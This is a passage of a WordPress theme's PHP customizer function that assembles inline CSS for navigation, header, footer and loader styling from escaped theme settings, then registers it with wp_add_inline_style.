li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li li li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li li li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .sf-menu li.sfHover.highlight-button li a:hover, .sf-menu li.current-menu-item.highlight-button li a:hover, #progression-checkout-basket a.checkout-button-header-cart, #progression-checkout-basket a:hover, #progression-checkout-basket ul#progression-cart-small li h6, #progression-checkout-basket .progression-sub-total span.total-number-add, .sf-menu li.sfHover li a:hover, .sf-menu li.sfHover li.sfHover a, .sf-menu li.sfHover li li a:hover, .sf-menu li.sfHover li.sfHover li.sfHover a, .sf-menu li.sfHover li li li a:hover, .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .sf-menu li.sfHover li li li li a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .sf-menu li.sfHover li li li li li a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a { color:". esc_attr( get_theme_mod('progression_studios_sub_nav_hover_font_color', '#ffffff') ) . "; } .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count span.progression-cart-count, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count span.progression-cart-count, #progression-shopping-cart-count span.progression-cart-count { background:" . esc_attr( get_theme_mod('progression_studios_nav_cart_background', '#ff8a00') ) . "; color:" . esc_attr( get_theme_mod('progression_studios_nav_cart_color', '#ffffff') ) . "; } .bpm-progression-sidebar-tablet-mobile, #progression-header-icons-inline-mobile-display, ul.mobile-menu-pro .sf-mega .sf-mega-section li a, ul.mobile-menu-pro .sf-mega .sf-mega-section, ul.mobile-menu-pro.collapsed li a, ul#progression-studios-panel-login li a, #progression-checkout-basket ul#progression-cart-small li, #progression-checkout-basket .progression-sub-total, .sf-menu li li:last-child li:last-child li:last-child li a, .sf-menu li li:last-child li:last-child li a, .sf-menu li li:last-child li li li a, .sf-menu li li:last-child li li a, .sf-mega li:last-child li a, body header .sf-mega li:last-child li a, .sf-menu li li a, .sf-mega h2.mega-menu-heading, .sf-mega ul, body .sf-mega ul, #progression-checkout-basket .progression-sub-total, #progression-checkout-basket ul#progression-cart-small li { border-color:" . esc_attr( get_theme_mod('progression_studios_sub_nav_border_color', 'rgba(255,255,255, 0.09)') ) . "; } .progression-studios-nav-right .sf-menu { margin-right:-" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 8) . "px; } .sf-menu ul { margin-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') / 2 ) . "px; } .sf-menu a:before { margin-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px; } .sf-menu a:before { width: 0px; left:50%; margin-left:0px; } .sf-menu a:hover:before, .sf-menu li.sfHover a:before, .sf-menu li.current-menu-item a:before { width: calc(100% - " . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px); left: " . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') / 2 ) . "px; } #progression-inline-icons .progression-studios-social-icons a { padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 7 ). "px; padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 7 ). "px; } #progression-inline-icons .progression-studios-social-icons { padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 7 ). "px; } .sf-menu a { padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ). "px; padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ). "px; } .sf-arrows .sf-with-ul { padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 15 ) . "px; } .sf-arrows .sf-with-ul:after { right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 9 ) . "px; } .rtl .sf-arrows .sf-with-ul { padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px; padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 15 ) . "px; } .rtl .sf-arrows ul .sf-with-ul { padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px; padding-right:0px; } .rtl .sf-arrows .sf-with-ul:after { right:auto; left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px; } .rtl .sf-arrows ul .sf-with-ul:after { right:auto; left:8px; } @media only screen and (min-width: 1025px) and (max-width: 1300px) { .sf-menu a { padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 4 ). "px; padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 4 ). "px; } .sf-menu li.highlight-button { margin-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px; margin-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px; } .sf-menu li.highlight-button a { padding-right:". esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ) . "px; padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ) . "px; } .sf-menu a:hover:before, .sf-menu li.sfHover a:before, .sf-menu li.current-menu-item a:before { width: calc(100% - " . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 6 ) . "px); left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') / 2 - 4 ) . "px; } .sf-menu ul { margin-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') / 2 - 4 ) . "px; } .sf-arrows .sf-with-ul { padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 13 ). "px; } .sf-arrows .sf-with-ul:after { right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 7 ). "px; } #progression-inline-icons .progression-studios-social-icons a { padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px; padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px; } #progression-inline-icons .progression-studios-social-icons { padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px; } } $progression_studios_optiona_nav_bg_hover $progression_studios_optiona_sticky_nav_font_bg $progression_studios_optiona_sticky_nav_hover_bg $progression_studios_option_sticky_nav_font_color $progression_studios_option_stickY_nav_font_hover_color $progression_studios_option_sticky_hightlight_bg_color $progression_studios_option_sticky_hightlight_font_color $progression_studios_option_sticky_hightlight_bg_color_hover /* END Main Navigation Customizer Styles */ /* START Top Header Top Styles */ #xion-progression-header-top { font-size:" . esc_attr( get_theme_mod('progression_studios_top_header_font_size', '12') ) . "px; $progression_studios_top_header_off_on_display $progression_studios_top_header_bg_image $progression_studios_top_header_bg_cover } #xion-progression-header-top .sf-menu a { font-size:" . esc_attr( get_theme_mod('progression_studios_top_header_font_size', '12') ) . "px; } .progression-studios-header-left .widget, .progression-studios-header-right .widget { padding-top:" . esc_attr( get_theme_mod('progression_studios_top_header_padding', '14') ) . "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_top_header_padding', '14') ) . "px; } #xion-progression-header-top .sf-menu a { padding-top:" . esc_attr( get_theme_mod('progression_studios_top_header_padding', '14') + 1 ) . "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_top_header_padding', '14') + 1 ) . "px; } #xion-progression-header-top a, #xion-progression-header-top .sf-menu a, #xion-progression-header-top { color:" . esc_attr( get_theme_mod('progression_studios_top_header_color', 'rgba(255,255,255, 0.75)') ) . "; } #xion-progression-header-top a:hover, #xion-progression-header-top .sf-menu a:hover, #xion-progression-header-top .sf-menu li.sfHover a { color:" . esc_attr( get_theme_mod('progression_studios_top_header_hover_color', '#ffffff') ) . "; } #xion-progression-header-top .sf-menu ul { background:" . esc_attr( get_theme_mod('progression_studios_top_header_sub_bg', '#ffffff') ) . "; } #xion-progression-header-top .sf-menu ul li a { border-color:" . esc_attr( get_theme_mod('progression_studios_top_header_sub_border_clr', 'rgba(0,0,0, 0.08)') ) . "; } .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a { color:" . esc_attr( get_theme_mod('progression_studios_top_header_sub_color', '#888888') ) . "; } .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li li li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li li li li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li li li li li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a { color:" . esc_attr( get_theme_mod('progression_studios_top_header_sub_hover_color', '#222222') ) . "; } #xion-progression-header-top { $progression_studios_top_header_background_option } #progression-studios-header-top-border-bottom { $progression_studios_top_header_border_bottom_option } /* END Top Header Top Styles */ /* START FOOTER STYLES */ footer#site-footer { background: " . esc_attr(get_theme_mod('progression_studios_footer_background', '#0e1419')) . "; } #pro-scroll-top:hover { color: " . esc_attr(get_theme_mod('progression_studios_scroll_hvr_color', '#ffffff')) . "; background: " . esc_attr(get_theme_mod('progression_studios_scroll_hvr_bg_color', '#6b0cc9')) . "; } footer#site-footer #copyright-text { color: " . esc_attr(get_theme_mod('progression_studios_copyright_text_color', 'rgba(255,255,255, 0.45)')) . ";} footer#site-footer #progression-studios-copyright a { color: " . esc_attr(get_theme_mod('progression_studios_copyright_link', 'rgba(255,255,255, 0.75)')) . ";} footer#site-footer #progression-studios-copyright a:hover { color: " . esc_attr(get_theme_mod('progression_studios_copyright_link_hover', '#ffffff')) . "; } #pro-scroll-top { $progression_studios_scroll_top_disable color:" . esc_attr(get_theme_mod('progression_studios_scroll_color', '#ffffff')) . "; background: " . esc_attr(get_theme_mod('progression_studios_scroll_bg_color', 'rgba(100,100,100, 0.65)')) . "; } #copyright-text { padding:" . esc_attr(get_theme_mod('progression_studios_copyright_margin_top', '40')) . "px 0px " . esc_attr(get_theme_mod('progression_studios_copyright_margin_bottom', '40')) . "px 0px; } #progression-studios-footer-logo { max-width:" . esc_attr( get_theme_mod('progression_studios_footer_logo_width', '250') ) . "px; padding-top:" . esc_attr( get_theme_mod('progression_studios_footer_logo_margin_top', '45') ) . "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_footer_logo_margin_bottom', '0') ) . "px; padding-right:" . esc_attr( get_theme_mod('progression_studios_footer_logo_margin_right', '0') ) . "px; padding-left:" . esc_attr( get_theme_mod('progression_studios_footer_logo_margin_left', '0') ) . "px; } /* END FOOTER STYLES */ @media only screen and (max-width: 1024px) { #progression-studios-page-title-container { padding-top:" . esc_attr( get_theme_mod('progression_studios_page_title_padding_top', '180') - 40 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_page_title_padding_bottom', '180') - 40 ). "px; } body.single-post #progression-studios-page-title-container { padding-top:" . esc_attr( get_theme_mod('progression_studios_post_title_padding_top', '180')- 40 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_post_title_padding_bottom', '180')- 40 ). "px; } body.single-portfolio_xion #progression-studios-page-title-container { padding-top:" . esc_attr( get_theme_mod('progression_studios_portfolio_title_padding_top', '350')- 100 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_portfolio_title_padding_bottom', '25') ). "px; } $progression_studios_header_bg_optional .progression-studios-transparent-header header#masthead-pro { $progression_studios_header_bg_image $progression_studios_header_bg_cover } $progression_studios_mobile_header_bg_color $progression_studios_mobile_header_logo_width $progression_studios_mobile_header_logo_margin_top $progression_studios_mobile_header_nav_padding_top } @media only screen and (min-width: 1025px) and (max-width: ". esc_attr( get_theme_mod('progression_studios_site_width', '1200') + 100 ) . "px) { body.elementor-page .width-container-over-ride, .width-container-over-ride, body.elementor-page.page .progression-studios-page-sidebar-on #content-pro .width-container-pro, body.elementor-page.single-product #content-pro .width-container-pro, .width-container-pro { width:94%; position:relative; padding:0px; } body .elementor-section.elementor-section-boxed > .elementor-container .elementor-container {max-width:100%;} body .elementor-section.elementor-section-boxed > .elementor-container {max-width:calc(98% - 30px);} .progression-studios-header-full-width #progression-studios-header-width header#masthead-pro .width-container-pro, .progression-studios-header-full-width-no-gap #funlin-progression-header-top .width-container-pro, footer#site-footer.progression-studios-footer-full-width .width-container-pro, .progression-studios-page-title-full-width #page-title-pro .width-container-pro, .progression-studios-header-full-width #funlin-progression-header-top .width-container-pro { width:97%; position:relative; padding:0px; } .progression-studios-header-full-width-no-gap.progression-studios-header-cart-width-adjustment header#masthead-pro .width-container-pro, .progression-studios-header-full-width.progression-studios-header-cart-width-adjustment header#masthead-pro .width-container-pro { width:98%; margin-left:2%; padding-right:0; } #xion-progression-header-top ul .sf-mega, header ul .sf-mega { margin-right:2%; width:98%; left:0px; margin-left:auto; } } .progression-studios-spinner { border-left-color:" . esc_attr(get_theme_mod('progression_studios_page_loader_secondary_color', '#ededed')). "; border-right-color:" . esc_attr(get_theme_mod('progression_studios_page_loader_secondary_color', '#ededed')). "; border-bottom-color: " . esc_attr(get_theme_mod('progression_studios_page_loader_secondary_color', '#ededed')). "; border-top-color: " . esc_attr(get_theme_mod('progression_studios_page_loader_text', '#cccccc')). "; } .sk-folding-cube .sk-cube:before, .sk-circle .sk-child:before, .sk-rotating-plane, .sk-double-bounce .sk-child, .sk-wave .sk-rect, .sk-wandering-cubes .sk-cube, .sk-spinner-pulse, .sk-chasing-dots .sk-child, .sk-three-bounce .sk-child, .sk-fading-circle .sk-circle:before, .sk-cube-grid .sk-cube{ background-color:" . esc_attr(get_theme_mod('progression_studios_page_loader_text', '#cccccc')). "; } #page-loader-pro { background:" . esc_attr(get_theme_mod('progression_studios_page_loader_bg', '#ffffff')). "; color:" . esc_attr(get_theme_mod('progression_studios_page_loader_text', '#cccccc')). "; } $progression_studios_boxed_layout ::-moz-selection {color:" . esc_attr( get_theme_mod('progression_studios_select_color', '#ffffff') ) . ";background:" . esc_attr( get_theme_mod('progression_studios_select_bg', '#6b0cc9') ) . ";} ::selection {color:" . esc_attr( get_theme_mod('progression_studios_select_color', '#ffffff') ) . ";background:" . esc_attr( get_theme_mod('progression_studios_select_bg', '#6b0cc9') ) . ";} "; wp_add_inline_style( 'progression-studios-custom-style', $progression_studios_custom_css ); } add_action( 'wp_enqueue_scripts', 'progression_studios_customizer_styles' );